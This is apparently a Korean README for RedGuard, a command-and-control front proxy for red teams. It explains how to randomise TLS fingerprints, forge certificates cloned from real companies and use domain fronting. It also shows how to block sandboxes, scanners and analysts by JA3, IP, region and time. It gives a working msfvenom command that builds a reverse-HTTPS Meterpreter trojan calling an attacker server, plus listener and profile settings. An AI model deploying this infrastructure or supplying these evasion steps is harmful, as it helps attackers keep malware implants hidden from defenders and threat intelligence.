wikiz/redguardJA3/JARM 지문 무작위화, 도메인 프론팅, 유연한 C2 프로필 유효성 검사, IP 화이트리스트를 통해 블루 팀, AV, EDR, 사이버 공간 매핑을 회피하는 C2 프론트 흐름 제어 도구입니다.
English | 中文文档
RedGuard는 명령 및 제어(C2) 프론트 플로우 컨트롤 기술을 기반으로 한 파생 도구로, Go 프로그래밍 언어로 개발되어 더 가벼운 설계, 효율적인 트래픽 상호 작용, 신뢰할 수 있는 호환성을 제공합니다. 사이버 공격이 지속적으로 진화하고 레드팀과 블루팀의 훈련이 점점 더 복잡해짐에 따라, RedGuard는 레드팀을 위한 더 나은 C2 채널 은닉 솔루션을 제공하기 위해 설계되었으며, C2 채널의 흐름 제어를 제공하고, "악성" 분석 트래픽을 차단하며, 전체 공격 작업을 더 잘 완료합니다.
RedGuard는 블루팀, AVS, EDR, 사이버스페이스 검색 엔진의 탐지를 피할 수 있는 C2 프론트 플로우 컨트롤 도구입니다.
컴파일된 버전을 직접 다운로드하여 사용하거나, go 패키지를 원격으로 다운로드하여 독립적으로 컴파일 및 실행할 수 있습니다.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 구성 설명
## 초기화
아래 그림과 같이 실행 권한을 설정하고 RedGuard를 초기화합니다. 첫 번째 실행 시 현재 사용자 홈 디렉터리에 구성 파일이 생성되어 유연한 기능 구성을 지원합니다. 구성 파일 이름: **.RedGuard_CobaltStrike.ini**.
**구성 파일 내용:**
인증서 구성 옵션은 주로 샘플과 C2 프런트 인프라 간의 SSL 인증서 암호화 HTTPS 통신에 대한 구성 정보를 위한 것입니다. 프록시는 주로 역방향 프록시 트래픽의 제어 옵션을 구성하는 데 사용됩니다. 구체적인 사용법은 아래에서 자세히 설명합니다.
SSL 인증서 암호화 HTTPS 통신은 RedGuard가 실행되는 디렉터리 아래의 cert-rsa/ 디렉터리에 생성됩니다. 구성 파일을 수정하여 도구의 기본 기능을 시작 및 중지할 수 있습니다 **(인증서의 일련 번호는 타임스탬프에 따라 생성되므로 이 기능과 연관될 걱정은 하지 마세요)**. 자체 인증서를 사용하려면 이름을 ca.crt와 ca.key로 바꾸면 됩니다.```bash
openssl x509 -in ca.crt -noout -text
임의의 TLS JARM 지문은 RedGuard가 시작될 때마다 업데이트되어 C2 인프라를 인증하는 데 사용되는 것을 방지합니다.
자체 인증서를 사용하는 경우, 구성 파일의 HasCert 매개변수를 true로 수정하여 JARM 난독화 무작위화로 인한 CipherSuites 암호화 제품군과 사용자 정의 인증서의 비호환성으로 인해 발생하는 정상적인 통신 문제를 방지합니다.```bash
HasCert = false
### 위조된 TLS 인증서
C2 트래픽을 숨기기 위해 Domain Fronting을 배포할 때, 가속 도메인 이름은 기본적으로 HTTPS 인증서 정보가 없습니다. 이는 분명히 문제가 되므로, 도메인 이름을 구성할 때 인증서 설정에 주의해야 합니다. 이는 샘플이 도메인 프론트엔드 트래픽인지 판단하는 기본 기준이기도 합니다.
[^Tencent Cloud]: 콘텐츠 전송 네트워크 인증서 구성
이 글을 읽으신 후 몇 가지 질문이 있으실 거라 생각합니다. **구성된 인증서를 어떻게 얻나요? 인증서를 직접 애플리케이션에 사용하면 기대하는 익명 효과를 충족하지 못합니다.** 여기서는 복제된 인증서를 사용하여 구성할 수 있습니다. Tencent Cloud를 예로 들어, 테스트에서 사용자 정의 업로드 인증서의 유효성을 검증하지 않는다는 것을 발견했습니다. 가속 도메인 이름의 실제 사이트와 동일한 인증서를 사용하여 위조할 수 있습니다. 위조된 인증서는 일반적인 상황에서 CS의 기본 인증서를 교체할 때 통신할 수 없지만, 클라우드 서비스 제공업체 CDN 전사이트 가속 및 RedGuard에 배포될 때 유효성을 검증하지 않으며, C2 상호작용 트래픽은 정상적으로 통신할 수 있습니다.
**다음은 Github에 있는 기존 프로젝트 주소입니다.**```bash
https://github.com/virusdefender/copy-cert
샘플 도메인의 프론트엔드 트래픽 측 인증서가 해결되었지만, 대규모 네트워크 매핑 관점에서 볼 때 C2 서버는 여전히 외부에 노출되어 있으며 실제 C2 서버와 탐지 및 연관될 수 있습니다. 이때 RedGuard를 사용하여 C2의 프론팅 기본 인증서를 수정하면 익명성을 확보할 수 있습니다.
[^intelligence information]: TLS 인증서
위는 C2 서버 위조 인증서의 효과입니다. Threatbook 커뮤니티의 인텔리전스에서 신뢰할 수 있고 만료되지 않은 것을 확인할 수 있습니다. 디지털 인증서를 획득하는 주요 방법은 클라우드 샌드박스에서 샘플 분석 중에 실시간으로 추출 및 업데이트하는 것이지만, 분명히 유효하게 검증되지는 않습니다. 상태 값은 만료 시간만 검증합니다. 인증서 신뢰 검증은 정상적인 통신이 가능한지 여부에만 기반해야 합니다.
Threatbook 인텔리전스는 샘플 요청의 SNI 및 HOST 주소를 인증서 인텔리전스와 함께 표시하지 않는다는 점에 유의해야 합니다. 이는 실제로 오탐을 방지하기 위한 것입니다. 이는 올바른 접근 방식이라고 생각합니다. 연구자의 분석을 지원하는 중요한 기준으로서 위협 인텔리전스는 완전하지 않더라도 잘못된 방향을 제시하지 않는 것이 좋습니다. 잘못된 방향은 후속 분석에서 오판을 초래할 수 있기 때문입니다. 전체 사이트 가속을 위해 인증서를 구성하는 것이 통신 트래픽에 대한 인증서 위조라면, RedGuard C2의 사전 응답 인증서를 구성하는 것은 공용 네트워크에 배포된 실제 C2 서버의 행동 특성을 위조하여 매핑 방지 효과를 얻는 것입니다. 이는 매우 필요합니다.
인증서 일련번호 추출: 55e6acaed1f8a430f9a938c5, HEX 인코딩하여 TLS 인증서 지문 획득: 26585094245224241434632730821
검색 결과 수: 2291
사이버스페이스 매핑을 통해 2,291개의 독립 IP 주소가 발견되었고, 검증 결과 모두 Baidu에 속한 TLS 인증서를 가지고 있음이 확인되었습니다. 통신 트래픽만으로 악성 통신 여부를 판단하기는 어렵습니다. 그러나 도메인 프론트엔드 + C2 프론트엔드 트래픽 설비에 대한 TLS 인증서를 위조하여 공간 매핑 및 위협 인텔리전스를 성공적으로 방해함으로써 잘못된 정보 연관을 유발하고, 공격자의 트래픽 특성을 더욱 현실적으로 만들어 정상 통신 트래픽을 위조하는 목적을 달성했습니다.
C2 트래픽 프론트엔드 설비 앞에 숨겨진 포워딩 처리가 없더라도 RedGuard의 인증서를 변경하는 것이 좋습니다. 기본적으로 현재 사이버스페이스 매핑에서 사용되는 일반적인 구성 요소의 지문 식별을 통해 형성된 모든 지문 라이브러리는 식별을 위해 일반적인 구성 요소의 기본 구성 특성의 행동을 사용합니다. 서로 다른 그룹은 이러한 사용자 정의 과정에서 다양한 고유 특성을 보일 수 있습니다. 물론 지문을 형성하려면 대상 구성 요소에 대한 어느 정도의 이해가 필요하며, 이를 통해 대상의 기본 특성을 추출하고 연관된 지문을 형성할 수 있습니다. 여기서는 RG 인증서의 행동 특성을 사이버스페이스 매핑에 사용하여 공용 네트워크에 배포된 많은 RG 노드와 연관시킵니다.
저자가 지문을 추출할 수 있었다는 것은 놀라운 일이 아니지만, RedGuard 사용자에게는 기본 인증서 정보를 수정하고 전문적인 해커가 되기를 권장합니다:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. 설정 파일을 수정하려면 파라미터 명령어를 사용할 수 있습니다. 물론 vim으로 직접 수정하는 것이 더 편리할 수도 있습니다.**
# 0x03 도구 사용법
## 기본 차단
리버스 프록시의 포트에 직접 접근하면 차단 규칙이 트리거됩니다. 여기에서 출력 로그를 통해 클라이언트 요청의 루트 디렉터리를 확인할 수 있지만, 요청에 올바른 HOST 요청 헤더인 요청 자격 증명이 포함되어 있지 않으면 기본 차단 규칙이 트리거되어 트래픽이 <https://360.net>으로 리디렉션됩니다.
여기서는 출력을 보여주기 위한 데모일 뿐이며, 실제 사용 시에는 `nohup ./RedGuard &`를 통해 백그라운드에서 실행할 수 있습니다.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
위 슬라이스에서 360.net이 로컬 포트 8080으로, 360.com이 로컬 포트 4433으로 프록시되고 있으며 사용되는 HTTP 프로토콜도 다르다는 것을 쉽게 알 수 있습니다. 실제 사용 시에는 리스너의 프로토콜 타입에 주의해야 하며, 여기 설정과 일치하도록 하고 해당 HOST 요청 헤더를 설정해야 합니다.
위 그림과 같이, 권한이 없는 접근의 경우 우리가 얻는 응답 정보도 리디렉션된 사이트의 반환 정보입니다.
위의 기본 차단 사례에서는 기본 차단 방법이 사용되며, 불법 트래픽은 리디렉션을 통해 차단됩니다. 설정 파일을 수정하여 차단 방법과 리디렉션 대상 사이트 URL을 변경할 수 있습니다. 사실 이걸 리디렉션이라기보다는 하이재킹, 클로닝이라고 설명하는 것이 더 적절할 수도 있습니다. 반환되는 응답 상태 코드가 200이고, 응답이 다른 웹사이트에서 가져와서 클론/하이재킹된 사이트를 최대한 유사하게 모방하기 때문입니다.
유효하지 않은 패킷은 세 가지 전략에 따라 잘못 라우팅될 수 있습니다:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** 설정 파일에서 하이재킹된 URL 주소를 가리킵니다. RedGuard는 "핫 체인지"를 지원하는데, 이는 `nohup`을 통해 도구가 백그라운드에서 실행되는 동안에도 설정 파일을 수정할 수 있음을 의미합니다. 내용은 실시간으로 시작 및 중지됩니다.```bash
./RedGuard -u --drop true
명령줄을 통해 구성 파일을 수정할 때 -u 옵션이 누락되지 않도록 주의해야 합니다. 그렇지 않으면 구성 파일을 성공적으로 수정할 수 없습니다. 기본 구성 파일 설정을 복원해야 하는 경우 ./RedGuard -u를 입력하기만 하면 됩니다.
또 다른 차단 방법은 DROP으로, HTTP 통신 응답을 직접 종료하며 DROP = true로 설정하여 활성화됩니다. 구체적인 차단 효과는 다음과 같습니다.
C2 프론트 흐름 제어가 HTTP 응답 코드 없이 불법 요청에 대해 응답을 직접 종료하는 것을 볼 수 있습니다. 사이버 공간 매핑 탐지에서 DROP 방식은 포트 개방을 숨길 수 있습니다. 구체적인 효과는 다음 사례 분석에서 확인할 수 있습니다.
많은 사용자가 응답 하이재킹에 관심을 가질 것이라고 생각합니다. 일반적인 원리는 클라이언트가 실제 C2 서버에 요청을 보낼 때 인바운드 규칙을 충족하지 않기 때문에 C2 서버가 지정된 정상 사이트를 가져와 그 응답 정보를 반환한다는 것입니다. 따라서 효과적인 요청 측면에서 보면 IP 서비스와 상호 작용하는 것처럼 보이지만, 실제로는 중간 C2 서버가 프록시 서버로 사용되어 정상 사이트와 상호 작용하며, 이상을 발견하기 어렵습니다. 인바운드 요청을 충족하면 트래픽 요청이 실제 C2 서비스 수신 포트로 전달되어 상호 작용하며, 실제 수신 포트는 클라우드 방화벽에 의해 필터링되어 로컬 액세스만 허용하고 외부에서 직접 액세스할 수 없습니다. 따라서 외부 포트 개방 관점에서 보면 HTTP/S 포트만 열려 있으며, 어떤 의미에서는 이것이 실제로 C2의 온라인 포트입니다.
[^트래픽 흐름도]: C2 서버 트래픽 상호 작용 프로세스
사이버 공간 매핑 데이터에서 IP의 HTTP/S 개방 포트 응답 코드는 307 점프가 아닌 200으로, 더 실제적입니다.
HTTPS 인증서는 위에서 언급한 위조 인증서와 동일한 효과를 가지며, 둘 다 실제 인증서의 지문입니다.
많은 레드팀이 실전 프로젝트 과정에서 클라우드 함수/도메인 프론팅과 같은 은닉 방법을 널리 사용할 것이라고 생각합니다. 그러나 오늘날의 공격-방어 대결에서 위의 두 가지 은닉 방법에는 치명적인 문제가 있습니다. 바로 C2 서비스에 직접 연결할 수 있다는 점입니다. 결과적으로 클라우드 함수 주소나 도메인 프론팅의 상호 작용 IP/HOST를 파악하면 C2 수신 서비스에 직접 액세스하여 공격 시설임을 증명할 수 있습니다.
트래픽이 C2에 직접 도달할 수 있으므로 보안 장치가 SNI 및 HOST와 일치하지 않는 트래픽에 대해 CS 스캔을 수행하여 악성 트래픽인지 식별할 수 있는지 고려할 가치가 있습니다. 이는 클라우드 함수나 샌드박스 환경에서도 마찬가지입니다. 샘플 측면 외에도 더 많은 트래픽 수준의 분석 프로세스가 있을 수 있습니다.
응답 하이재킹 후 HTTP 서비스에 직접 액세스하면 웹사이트와 정상적으로 상호 작용할 수 있지만, Cscan은 트래픽이 실제 C2 리스너에 도달할 수 없기 때문에 샘플 정보를 스캔할 수 없습니다. 정상적인 C2 상호 작용은 트래픽 시작 특성이 충족될 때만 가능합니다. 그러나 문제가 있습니다. C2 스캐닝 스크립트는 인바운드 규칙을 준수해야 하며, 이는 블루팀 분석가의 코딩 능력에 어느 정도 테스트를 요구합니다. 현재 공개된 스캐닝 스크립트는 Nmap 형태입니다.
JA3는 클라이언트와 서버 간의 암호화된 통신에 대해 더 식별 가능한 지문을 제공합니다. TLS 지문을 사용하여 악성 클라이언트와 서버 간의 TLS 협상을 식별함으로써 악성 클라이언트를 연관시키는 효과를 얻습니다. 이 지문은 MD5 암호화를 사용하여 모든 플랫폼에서 쉽게 생성할 수 있으며 현재 위협 인텔리전스에서 널리 사용됩니다. 예를 들어, 일부 샌드박스의 샘플 분석 보고서에서 서로 다른 샘플 간의 연관성을 증명하는 데 사용됩니다.
C2 서버와 악성 클라이언트의 JA3(S)를 파악할 수 있다면, 트래픽이 암호화되고 C2 서버의 IP 주소나 도메인 이름을 알 수 없더라도 TLS 지문을 통해 악성 클라이언트와 서버 간의 TLS 협상을 식별할 수 있습니다. 이를 보면 모두가 생각할 수 있을 것이라고 믿으며, 이는 도메인 프론팅, 리버스 프록시, 클라우드 함수와 같은 트래픽 전달 은닉 방법에 대응하기 위한 조치이기도 합니다. 샌드박스 실행 샘플 식별 및 C2 통신 TLS 협상을 통해 JA3(S) 지문을 생성하여 위협 인텔리전스에 적용함으로써 보조 추적을 달성할 수 있습니다.
저는 이 기술을 2022년에 발표했습니다. 마이크로 스텝 샌드박스 환경을 테스트할 때 상호 작용을 요청하는 이그레스 IP의 수가 적었지만 IP로 샌드박스를 식별하는 것은 정확하지 않았고 이는 쉽게 변경될 수 있는 특징이었지만, 동일한 시스템 환경에서 JA3 지문은 고유하다는 것을 발견했습니다. 이후 샌드박스가 지문 무작위화를 완료했다는 피드백을 받았지만 최근 테스트에서 완전히 구현되지 않은 것을 발견했습니다. 여전히 트래픽 측면에서 지문 문제에 직면하기를 바랍니다.
클라우드 샌드박스의 관점에서, 샘플과 C2 서버 간의 트래픽 상호 작용을 모니터링하여 JA3(S) 지문을 생성하고 악성 클라이언트를 식별하여 연관성을 만듭니다. 반대로 생각하면, C2 앞단의 트래픽 제어 설비로서 클라이언트 요청의 JA3 지문을 얻기 위해 이러한 작업을 수행할 수 있습니다. 다양한 샌드박스 환경을 디버깅하여 이러한 JA3 지문을 얻어 지문 라이브러리를 형성하고, 이를 통해 기본적인 차단 전략을 수립할 수 있습니다.
스테이징된 트로이 목마 상호 작용 과정에서 로더가 먼저 원격 주소의 셸코드를 가져온다고 상상해 보십시오. 그런 다음 트래픽이 요청이 JA3 지문 라이브러리의 클라우드 샌드박스 특성과 일치한다고 식별하면 후속 요청을 차단합니다. 셸코드를 얻을 수 없으면 전체 로딩 프로세스를 완료할 수 없으며 샌드박스는 당연히 완전히 분석할 수 없습니다. 환경이 무스테이지(stageless) 트로이 목마인 경우 샌드박스 분석도 최종적으로 C2 서버에 업로드할 수 없습니다. 모두가 잠에서 깨어 C2에 오래된 샌드박스 기록이 많이 매달려 있는 것을 본 적이 있을 것입니다. 물론 이상적인 상태에서는 지문 라이브러리의 신뢰성에 주로 의존하여 다양한 샌드박스 환경을 식별할 수 있습니다.
테스트 중에 ZoomEye GO 언어 요청 라이브러리의 JA3 지문을 지문 라이브러리에 추가하고 RG 요청 트래픽을 모니터링한 결과, 대부분의 요청이 JA3 지문 라이브러리 기능의 기본 차단을 트리거했습니다. 여기서 측량 및 매핑 제품의 기본 언어는 GO 언어로 구현된 스캐닝 작업의 일부라고 추측합니다. 링크를 통해 서로 다른 기본 언어로 구성된 스캐닝 로직이 전체 스캐닝 작업을 완료했습니다. 이는 일부 측량 및 매핑 제품의 스캔이 GO 언어 요청 라이브러리의 JA3 지문 차단 기능을 트리거한 이유를 설명합니다. 인식 규칙 원리는 클라우드 샌드박스 지문과 동일합니다. 둘 다 요청 클라이언트 환경 및 요청 라이브러리의 고유성을 사용합니다. PC 측과 달리 이러한 제품의 요청 환경은 기본적으로 임의로 변경되지 않으므로 트래픽 측 지문을 파악하여 차단할 수 있습니다. 그렇다면 보안 장치가 능동 탐지 트래픽의 JA3 지문을 차단 기준으로 사용할 수 있는지 생각해 볼 수 있습니까? 물론 비즈니스 트래픽이 많은 경우 일정량의 오탐이 발생할 수 있습니다. 여기서는 이론적으로 가능한 제품 요구 사항만 제안합니다.
P.S. 사용자는 샘플을 샌드박스에 업로드하여 JA3 지문을 얻고 확인한 후 지문 라이브러리에 추가할 수 있습니다. 샌드박스가 JA3 지문을 위의 지문이 아닌 다른 것으로만 변경하는 것은 의미가 없습니다. 실제로 해결해야 할 것은 샌드박스가 동적 분석을 수행할 때마다 동일한 지문이 아니어야 하며, 변경 사항이 가능한 한 중복되지 않는 요구 사항을 충족해야 한다는 것입니다. 중복률이 높으면 여전히 지문으로 사용됩니다.
현재 효과 시연으로 threatbook 클라우드 샌드박스의 식별 및 차단을 지원합니다.
구성 파일에서 다음 두 매개변수의 구성을 통해 리버스 프록시 포트를 변경하는 효과를 얻을 수 있습니다. 현재 서버 포트와 충돌하지 않는 한 기본 포트 숨김을 사용하는 것이 좋습니다. 반드시 수정해야 하는 경우 매개변수 값의 :이 누락되지 않도록 주의하십시오.```bash
Port_HTTPS = :443
Port_HTTP = :80
## RedGuard 로그
블루팀 추적 동작은 대상 요청의 가로채기 로그를 통해 분석되며, 이를 사용하여 피어 연결 이벤트/문제를 추적할 수 있습니다. 로그 파일은 RedGuard가 실행 중인 디렉터리에 생성되며, **파일 이름: RedGuard.log** 입니다.
## RedGuard 실제 IP 주소 획득
이 섹션에서는 요청의 실제 IP 주소를 획득하도록 RG를 구성하는 방법을 설명합니다. C2 장치의 프로필에 다음 구성을 추가하기만 하면 요청 헤더 X-Forwarded-For를 통해 대상의 실제 IP 주소를 얻을 수 있습니다.```bash
http-config {
set trust_x_forwarded_for "true";
}
설정 방법은 AllowLocation = Jinan, Beijing을 예로 듭니다. RedGuard는 역 IP 귀속을 위한 두 가지 API를 제공합니다. 하나는 중국 본토 사용자용이고 다른 하나는 중국 본토 이외 사용자용입니다. 입력된 지리적 도메인 이름에 따라 사용할 API를 동적으로 할당할 수 있습니다. 대상이 중국이면 해당 지역에 대해 중국어를 사용하고, 그렇지 않으면 영어 지명을 사용합니다. 중국 본토 사용자는 중국어 이름을 사용하는 것이 좋습니다. 역쿼리로 얻은 API의 귀속 정확도와 응답 속도가 최상이기 때문입니다.
P.S. 중국 본토 사용자는 AllowLocation = Jinan,beijing을 이런 식으로 사용하지 마십시오! 별 의미가 없습니다. 매개변수 값의 첫 번째 문자가 사용할 API를 결정합니다!```bash
AllowLocation = *
지역을 제한하기로 결정하기 전에, 다음 명령으로 IP 주소를 수동으로 조회할 수 있습니다.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
여기서는 산동(Shandong) 지역만 온라인에 접속할 수 있도록 설정합니다.
합법적인 트래픽:
비합법적인 요청 지역:
지역 제한 연결과 관련하여, 현재의 공격 및 방어 훈련에서 더 실용적일 수 있습니다. 기본적으로, 성(sheng) 및 시(shi) 단위의 공격 및 방어 훈련 제한의 대상은 지정된 지역에 있으며, 다른 지역에서 요청하는 트래픽은 자연히 무시될 수 있습니다. RedGuard의 이 기능은 단일 지역뿐만 아니라 성 및 시에 따라 여러 연결 지역을 제한하고 다른 지역에서 요청하는 트래픽을 차단할 수 있습니다.
RedGuard에 내장된 사이버보안 업체의 IP 블랙리스트 외에도, 화이트리스트 방식에 따라 제한할 수 있습니다. 실제로 웹 침투 중에는 화이트리스트에 따라 온라인 IP 주소를 제한하여 여러 가지 IP 주소 분할 방식을 사용할 것을 권장합니다.```bash
AllowIP = 127.0.0.1
위 그림과 같이 127.0.0.1 연결만 허용하도록 제한하면 다른 IP의 요청 트래픽이 차단됩니다.
## 시간대 기반 차단
이 기능은 더 흥미롭습니다. 구성 파일에서 다음 매개변수 값을 설정하면 트래픽 제어 기능이 오전 8시부터 오후 9시까지만 연결할 수 있음을 의미합니다. 여기서의 구체적인 적용 시나리오는 지정된 공격 시간 동안 C2와의 통신을 허용하고, 다른 시간에는 침묵을 유지하는 것입니다. 또한 이는 레드팀이 밤에 당직인 블루팀이 지루해져서 트로이 목마를 분석하다가 형언할 수 없는 일을 겪고 깨어날까 걱정하지 않고 푹 잘 수 있게 해줍니다. 하하하.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard는 Malleable C2 프로필을 사용합니다. 제공된 확장 가능한 구성 파일 섹션을 구문 분석하여 계약을 이해하고, 해당 요청만 통과시키며 다른 요청은 오도합니다. http-stager, http-get, http-post와 같은 부분과 해당 URI, 헤더, User-Agent 등은 합법적인 비콘 요청을 관련 없는 인터넷 소음이나 IR/AV/EDR Out-of-bounds 패킷과 구별하는 데 사용됩니다.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
风起가 작성한 프로필 사용을 권장합니다:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## 응답 필드 삭제 사용자 정의
Cobalt Strike 4.7+에서 Teamserver는 Content-Encoding 헤더를 알림 없이 자동으로 제거하여 malleable http-(get|post).server 위반을 초래할 수 있습니다. 또한 CS Server 응답 메시지에 Content-type이 없지만 RedGuard를 통해 전달된 후 응답 메시지 헤더에 Content-Type이 추가되어 cf가 페이지를 캐시하고 간섭을 일으킬 수 있습니다.
RedGuard 23.08.21 이후, 응답 패킷의 헤더를 사용자 정의하는 기능이 추가되었습니다. 사용자는 설정 파일을 수정하여 응답 패킷의 헤더 정보를 사용자 정의하고 삭제함으로써 잘못된 구문 분석 문제를 해결할 수 있습니다.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13은 트로이 목마 샘플 지문 인식 기능을 업데이트했습니다. 이 기능은 Malleable Profile의 HTTP Header 필드를 사용자 정의하여 동일한 C2 리스너/Header Host를 고유하게 식별하는 지문인 “샘플 솔트 값”을 기반으로 합니다. 또한, 다른 관련 요청 필드를 결합하여 생성된 트로이 목마 샘플 지문을 사용자 정의 샘플 활성 여부를 감지할 수 있습니다. 공격자의 작업 요구에 따라 트로이 목마 샘플 지문 인식 기능은 비활성화하려는 샘플에 대해 “오프라인 작업”을 수행하여 샘플 통신의 악성 트래픽 분석 및 단계적 샘플 PAYLOAD 공격 페이로드 획득 분석을 더 잘 회피하고, 공격자에게 더 개인화된 은폐 조치를 제공할 수 있습니다.
다른 C2 리스너의 경우 Malleable Profile 구성에 서로 다른 별칭을 부여하고, 관련 헤더의 필드 이름과 값을 샘플 솔트 값으로 사용자 정의하여 이를 다른 샘플 간의 구분 요소 중 하나로 사용할 수 있습니다. 다음 코드는 설명을 위한 예시이며, 실제 공격 및 방어 시나리오에서는 보다 현실적인 HTTP 요청 패킷 필드를 판단 기준으로 사용할 수 있습니다.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**HTTP 트래픽**
그림과 같이, 위의 샘플 Salt 값과 Host 필드를 지문 생성의 기반으로 사용합니다. 우리가 알고 있는 것은 다음과 같습니다:
- **Salt 값：866e5289337ab033f89bc57c5274c7ca**
- **호스트：redguard.com**
위의 값을 결합하면 다음과 같은 샘플 지문이 얻어집니다:```bash
22e6db08c5ef1889d64103a290ac145c
위의 샘플 지문을 알았으므로, RedGuard 구성 파일에 사용자 정의 헤더 필드와 샘플 지문을 설정하여 악성 트래픽을 차단할 수 있습니다. 여러 샘플 지문을 쉼표로 구분하여 확장할 수 있으며, FieldName은 Malleable Profile에 구성된 헤더 필드 이름과 일치해야 합니다.
RedGuard의 구성 파일은 핫 구성이므로, 비활성화하려는 샘플을 차단하기 위해 RedGuard를 재시작할 필요가 없습니다. 샘플을 다시 활성화하려면 RedGuard 구성 파일에서 해당 샘플 지문을 삭제하기만 하면 됩니다.
데모 효과:
위 방법에 문제가 있는 경우, 실제 온라인 C2 서버는 방화벽으로 직접 차단할 수 없습니다. 리버스 프록시의 실제 로드 밸런싱 요청이 클라우드 서버 제조업체의 IP에 의해 이루어지기 때문입니다.
단일 전투에서는 클라우드 서버 방화벽에 차단 규칙을 설정할 수 있습니다.
그런 다음 프록시가 가리키는 주소를 https://127.0.0.1:4433로 설정합니다.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
기본 검증이 HTTP HOST 요청 헤더를 기반으로 하기 때문에 HTTP 트래픽에서 보이는 것도 도메인 프론팅 방식과 동일하지만, 비용이 더 낮고 클라우드 서버 하나만 필요합니다.
리스너 설정의 경우, `HTTPS Port (C2)`는 RedGuard 역방향 프록시 포트로 설정되고, `HTTPS Port (Bind)`는 로컬 머신의 실제 연결 포트입니다.
## Metasploit
**Trojan 생성**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
물론, 도메인 프런팅 시나리오로서, LHOST를 제조업체 CDN의 도메인 이름으로 구성할 수도 있으며, HttpHostHeader를 RedGuard에 맞게 설정하는 데 주의해야 합니다.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
`OverrideRequestHost` 설정은 반드시 `true`로 설정해야 한다는 점에 유의해야 합니다. 이는 스테이징 페이로드 구성을 생성할 때 Metasploit이 들어오는 HTTP/S 요청을 기본적으로 처리하는 방식에 포함된 기능 때문입니다. 기본적으로 Metasploit은 `LHOST` 매개변수 대신 들어오는 요청의 `Host` 헤더 값을 사용하여 2단계 구성을 설정합니다. 따라서 CloudFront가 전달된 요청의 `Host` 헤더에 내부 도메인을 포함시키기 때문에 빌드 스테이지는 요청을 직접 숨겨진 도메인 이름으로 보내도록 구성됩니다. 이는 우리가 원하는 바와는 분명히 다릅니다. `OverrideRequestHost` 구성 값을 사용하면 Metasploit이 들어오는 `Host` 헤더를 무시하고 대신 오리진 CloudFront 도메인을 가리키는 `LHOST` 구성 값을 사용하도록 강제할 수 있습니다.
리스너는 RedGuard가 실제로 포워딩하는 주소와 일치하는 실제 회선 포트로 설정됩니다.
RedGuard가 요청을 수신했습니다:
## 사이버 공간 검색 매핑
아래 그림과 같이, 차단 규칙을 DROP으로 설정하면 공간 매핑 시스템 프로브가 역방향 프록시 포트의 / 디렉토리를 여러 번 탐색합니다. 이론적으로 매핑이 보내는 요청 패킷은 그림과 같이 일반 트래픽으로 위장됩니다. 그러나 여러 번 시도한 후, 요청 패킷의 시그니처가 RedGuard의 해제 요구 사항을 충족하지 못하기 때문에 모두 Close HTTP로 응답되었습니다. 측량 및 매핑 플랫폼에 표시되는 최종 효과는 역방향 프록시 포트가 열려 있지 않은 것입니다.
아래 그림에 표시된 트래픽은 차단 규칙을 Redirect로 설정하면 매핑 프로브가 응답을 수신할 때 계속해서 디렉토리를 스캔한다는 것을 의미합니다. User-Agent는 무작위로 설정되어 일반 트래픽 요청처럼 보이지만, 두 경우 모두 성공적으로 차단되었습니다.
**매핑 플랫폼 - 하이재킹 응답 차단 모드 효과:**
**측량 및 매핑 플랫폼 - 리디렉션 차단 효과:**
## 도메인 프론팅
RedGuard는 도메인 프론팅을 지원합니다. 제 생각에는 두 가지 표현 형태가 있습니다. 하나는 전통적인 도메인 프론팅 방식을 사용하는 것으로, 사이트 전체 가속 오리진 주소의 역방향 프록시 포트를 설정하여 구현할 수 있습니다. 기존 방식에 트래픽 제어 기능이 도메인 프론팅에 추가되어, 설정한 값에 따라 지정된 URL로 리디렉션하여 더욱 실제처럼 보이게 만들 수 있습니다. HTTPS HOST 헤더의 RedGuard 설정은 사이트 전체 가속의 도메인 이름과 일치해야 합니다.
단독 작업 시에는 위의 방법을 사용할 것을 권장하며, 팀 작업에서는 자체 구축한 "도메인 프론팅"을 통해 구현할 수도 있습니다.
자체 구축한 도메인 프론팅에서는 여러 역방향 프록시 포트를 일관되게 유지하고, HOST 헤더는 일관되게 백엔드의 실제 C2 서버 수신 포트를 가리킵니다. 이렇게 하면 실제 C2 서버를 잘 숨길 수 있으며, 역방향 프록시 서버는 방화벽을 구성하여 프록시 포트만 열 수 있습니다.
이는 여러 노드 서버를 통해 달성할 수 있으며, CS 리스너 HTTPS 온라인 IP에 노드의 여러 IP를 구성합니다.
